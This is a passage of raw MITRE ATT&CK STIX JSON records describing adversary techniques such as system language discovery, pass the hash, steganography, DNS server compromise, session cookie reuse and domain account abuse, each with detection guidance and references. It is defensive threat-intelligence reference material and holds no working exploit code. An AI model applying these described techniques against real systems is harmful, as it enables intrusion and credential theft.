access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "root"], "x_mitre_system_requirements": ["SSH service enabled, trust relationships configured, established connections"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Harshal Tupsamudre, Qualys"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "type": "attack-pattern", "created": "2021-08-18T14:06:45.244Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1614.001", "url": "https://attack.mitre.org/techniques/T1614/001"}, {"source_name": "Malware System Language Check", "url": "https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/", "description": "Pierre-Marc Bureau. (2009, January 15). Malware Trying to Avoid Some Countries. Retrieved August 18, 2021."}, {"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}, {"source_name": "Darkside Ransomware Cybereason", "url": "https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware", "description": "Cybereason Nocturnus. (2021, April 1). Cybereason vs. Darkside Ransomware. Retrieved August 18, 2021."}, {"source_name": "Securelist JSWorm", "url": "https://securelist.com/evolution-of-jsworm-ransomware/102428/", "description": "Fedor Sinitsyn. (2021, May 25). Evolution of JSWorm Ransomware. Retrieved August 18, 2021."}, {"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}], "modified": "2021-10-15T22:00:56.174Z", "name": "System Language Discovery", "description": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)\n\nThere are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) \n\nFor example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)\n\nOn a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system language information. This may include calls to various API functions and interaction with system configuration settings such as the Windows Registry.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Process: Process Creation", "Process: OS API Execution", "Windows Registry: Windows Registry Key Access", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"modified": "2023-09-29T21:07:31.570Z", "name": "Non-Application Layer Protocol", "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["Ryan Becwar", "Duane Michael"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Linux", "macOS", "Network"], "x_mitre_version": "2.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "created": "2017-05-31T21:31:10.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1095", "external_id": "T1095"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Cisco Synful Knock Evolution", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"}, {"source_name": "Microsoft ICMP", "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.", "url": "http://support.microsoft.com/KB/170292"}, {"source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"}, {"source_name": "Wikipedia OSI", "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.", "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", "type": "attack-pattern", "created": "2017-05-31T21:30:59.339Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1075", "url": "https://attack.mitre.org/techniques/T1075"}, {"external_id": "CAPEC-644", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/644.html"}, {"source_name": "NSA Spotting", "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}], "modified": "2020-01-30T19:55:38.699Z", "name": "Pass the Hash", "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_system_requirements": ["Requires Microsoft Windows as target system"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-30T21:01:48.815Z", "name": "Steganography", "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "created": "2020-02-05T14:28:16.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/003", "external_id": "T1027.003"}, {"source_name": "Wikipedia Duqu", "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.", "url": "https://en.wikipedia.org/wiki/Duqu"}, {"source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics", "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jeremy Galloway"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5", "created": "2020-10-01T00:54:30.869Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1584.002", "url": "https://attack.mitre.org/techniques/T1584/002"}, {"source_name": "FireEye DNS Hijack 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html", "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."}, {"source_name": "Crowdstrike DNS Hijack 2019", "url": "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/", "description": "Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022."}, {"source_name": "Talos DNSpionage Nov 2018", "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html", "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."}, {"source_name": "CiscoAngler", "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing", "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017."}, {"source_name": "Proofpoint Domain Shadowing", "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows", "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)", "modified": "2022-04-19T21:22:13.578Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "DNS Server", "x_mitre_detection": "Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Domain Name: Active DNS", "Domain Name: Passive DNS"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "type": "attack-pattern", "created": "2020-03-15T00:40:27.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1001.003", "url": "https://attack.mitre.org/techniques/T1001/003"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-03-15T00:40:27.503Z", "name": "Protocol Impersonation", "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content"]}, {"modified": "2023-04-03T18:56:37.011Z", "name": "Query Registry", "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: OS API Execution", "Windows Registry: Windows Registry Key Access", "Command: Command Execution", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "created": "2017-05-31T21:30:25.584Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1012", "external_id": "T1012"}, {"source_name": "Wikipedia Windows Registry", "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.", "url": "https://en.wikipedia.org/wiki/Windows_Registry"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "type": "attack-pattern", "created": "2017-05-31T21:30:34.523Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1030", "external_id": "T1030"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2020-07-14T19:47:46.912Z", "name": "Data Transfer Size Limits", "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", "type": "attack-pattern", "created": "2017-05-31T21:30:33.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1028", "url": "https://attack.mitre.org/techniques/T1028"}, {"external_id": "CAPEC-555", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/555.html"}, {"url": "http://msdn.microsoft.com/en-us/library/aa384426", "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", "source_name": "Microsoft WinRM"}, {"url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2", "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.", "source_name": "Jacobsen 2014"}, {"source_name": "Medium Detecting Lateral Movement", "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019."}], "modified": "2020-02-11T18:30:20.937Z", "name": "Windows Remote Management", "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_system_requirements": ["WinRM listener turned on and configured on remote system"], "x_mitre_remote_support": true, "x_mitre_is_subtechnique": false}, {"modified": "2023-09-19T21:26:24.725Z", "name": "Web Session Cookie", "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Johann Rehberger", "Jack Burns, HubSpot"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Office 365", "SaaS", "Google Workspace", "IaaS"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Application Log: Application Log Content", "Web Credential: Web Credential Usage"], "x_mitre_defense_bypassed": ["System Access Controls"], "type": "attack-pattern", "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", "created": "2020-01-30T17:48:49.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1550/004", "external_id": "T1550.004"}, {"source_name": "Unit 42 Mac Crypto Cookies January 2019", "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}, {"source_name": "Pass The Cookie", "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T14:55:07.432Z", "name": "Domain Accounts", "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_contributors": ["Jon Sternstein, Stern Security"], "x_mitre_deprecated": false, "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["User Account: User Account Authentication", "Logon Session: Logon Session Creation", "Logon Session: Logon Session Metadata"], "x_mitre_permissions_required": ["User", "Administrator"], "type": "attack-pattern", "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "created": "2020-03-13T20:21:54.758Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/002", "external_id": "T1078.002"}, {"source_name": "TechNet Credential Theft", "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"}, {"source_name": "TechNet Audit Policy", "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"}, {"source_name": "Microsoft AD Accounts", "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts"}, {"source_name": "Ubuntu SSSD Docs", "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.", "url": "https://ubuntu.com/server/docs/service-sssd"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Casey Smith"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", "type": "attack-pattern", "created": "2020-01-23T19:42:16.439Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.009", "url": "https://attack.mitre.org/techniques/T1218/009"}, {"source_name": "MSDN Regsvcs", "description": 